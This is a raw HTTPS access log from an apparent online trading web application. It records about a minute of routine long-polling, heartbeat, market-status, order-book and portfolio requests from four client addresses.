[09/Jan/2026:14:50:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1780
[09/Jan/2026:14:50:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941676278 HTTP/1.1" -
[09/Jan/2026:14:50:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:50:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 2028
[09/Jan/2026:14:50:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941683654 HTTP/1.1" -
[09/Jan/2026:14:50:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941678874 HTTP/1.1" -
[09/Jan/2026:14:50:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941694989 HTTP/1.1" -
[09/Jan/2026:14:50:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941681327 HTTP/1.1" -
[09/Jan/2026:14:50:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941688758 HTTP/1.1" -
[09/Jan/2026:14:50:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941683898 HTTP/1.1" -
[09/Jan/2026:14:50:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941700101 HTTP/1.1" -
[09/Jan/2026:14:50:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941686555 HTTP/1.1" -
[09/Jan/2026:14:50:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941693787 HTTP/1.1" -
[09/Jan/2026:14:50:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941688946 HTTP/1.1" -
[09/Jan/2026:14:50:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941705161 HTTP/1.1" -
[09/Jan/2026:14:50:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941691698 HTTP/1.1" -
[09/Jan/2026:14:50:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941698881 HTTP/1.1" -
[09/Jan/2026:14:50:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941693980 HTTP/1.1" -
[09/Jan/2026:14:50:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941710194 HTTP/1.1" -
[09/Jan/2026:14:50:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941696811 HTTP/1.1" -
[09/Jan/2026:14:50:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941703978 HTTP/1.1" -
[09/Jan/2026:14:50:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941699024 HTTP/1.1" -
[09/Jan/2026:14:50:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941715230 HTTP/1.1" -
[09/Jan/2026:14:50:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941701855 HTTP/1.1" -
[09/Jan/2026:14:50:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941709014 HTTP/1.1" -
[09/Jan/2026:14:50:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941704056 HTTP/1.1" -
[09/Jan/2026:14:50:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941720299 HTTP/1.1" -
[09/Jan/2026:14:50:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941706995 HTTP/1.1" -
[09/Jan/2026:14:50:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941714080 HTTP/1.1" -
[09/Jan/2026:14:50:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941709098 HTTP/1.1" -
[09/Jan/2026:14:50:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941725367 HTTP/1.1" -
[09/Jan/2026:14:50:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941712127 HTTP/1.1" -
[09/Jan/2026:14:50:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941719181 HTTP/1.1" -
[09/Jan/2026:14:50:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941714130 HTTP/1.1" -
[09/Jan/2026:14:50:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941730431 HTTP/1.1" -
[09/Jan/2026:14:50:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1934
[09/Jan/2026:14:50:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:50:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941717306 HTTP/1.1" -
[09/Jan/2026:14:50:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941724225 HTTP/1.1" -
[09/Jan/2026:14:50:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941719183 HTTP/1.1" -
[09/Jan/2026:14:50:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941735457 HTTP/1.1" -
[09/Jan/2026:14:50:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941722354 HTTP/1.1" -
[09/Jan/2026:14:50:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941729296 HTTP/1.1" -
[09/Jan/2026:14:50:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:50:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941724231 HTTP/1.1" -
[09/Jan/2026:14:50:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941740533 HTTP/1.1" -
[09/Jan/2026:14:50:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:50:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:50:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941727417 HTTP/1.1" -
[09/Jan/2026:14:50:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941734427 HTTP/1.1" -
[09/Jan/2026:14:50:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941729252 HTTP/1.1" -
[09/Jan/2026:14:51:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941745566 HTTP/1.1" -
[09/Jan/2026:14:51:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941732511 HTTP/1.1" -
[09/Jan/2026:14:51:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941739540 HTTP/1.1" -
[09/Jan/2026:14:51:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:51:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941734281 HTTP/1.1" -
[09/Jan/2026:14:51:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941750590 HTTP/1.1" -
[09/Jan/2026:14:51:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941737584 HTTP/1.1" -
[09/Jan/2026:14:51:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941744602 HTTP/1.1" -
[09/Jan/2026:14:51:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941739300 HTTP/1.1" -
[09/Jan/2026:14:51:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941755652 HTTP/1.1" -
[09/Jan/2026:14:51:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:51:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:51:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941742712 HTTP/1.1" -
[09/Jan/2026:14:51:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941749705 HTTP/1.1" -
